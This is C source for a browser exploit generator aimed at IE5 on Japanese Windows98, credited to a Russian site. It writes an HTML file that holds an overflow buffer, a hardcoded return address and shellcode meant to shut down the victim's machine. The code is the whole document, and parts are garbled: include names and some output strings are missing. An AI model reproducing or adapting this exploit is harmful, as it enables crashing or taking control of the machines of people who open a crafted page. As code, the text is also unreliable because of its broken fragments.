/*========================================================================= Microsoft IE5 for Windows98 exploit wwww.downgrade-net.ru ========================================================================= */ #include #include #define MAXBUF 1000 #define RETADR 53 /* jmp esp (FF E4) code is stored in this area. You must change this address for non-Japanese Windows98 */ #define EIP 0x0012fd90 unsigned char exploit_code[200]={ 0x43,0x43,0x43,0x43,0x43,0x53,0x53,0x53, 0xB8,0x2D,0x23,0xF5,0xBF,0x48,0x50,0xC3, 0x00 }; int main(int argc, char *argv[]) { FILE *fp; unsigned int ip; unsigned char buf[MAXBUF]; if (argc<2){ printf("usage %s output_htmlfile\n",argv[0]); exit(1); } if ((fp=fopen(argv[1],"wb"))==NULL) return FALSE; fprintf(fp,">8)&0xff; buf[RETADR+2]=(ip>>16)&0xff; buf[RETADR+3]=( ip>>24)&0xff; memcpy(buf+80,exploit_code,strlen(exploit_code)); buf[MAXBUF]=0; fprintf(fp,"%s/\">\n",buf); fprintf(fp,"10 seconds later, this machine will be shut down.

"); fprintf(fp,"If you are using IE5 for Japanese Windows98, "); fprintf(fp,"maybe, the exploit code which shuts down your machine will be executed.
"); fprintf(fp,"\n"); fclose(fp); printf("%s created.\n",argv[1]); return FALSE; }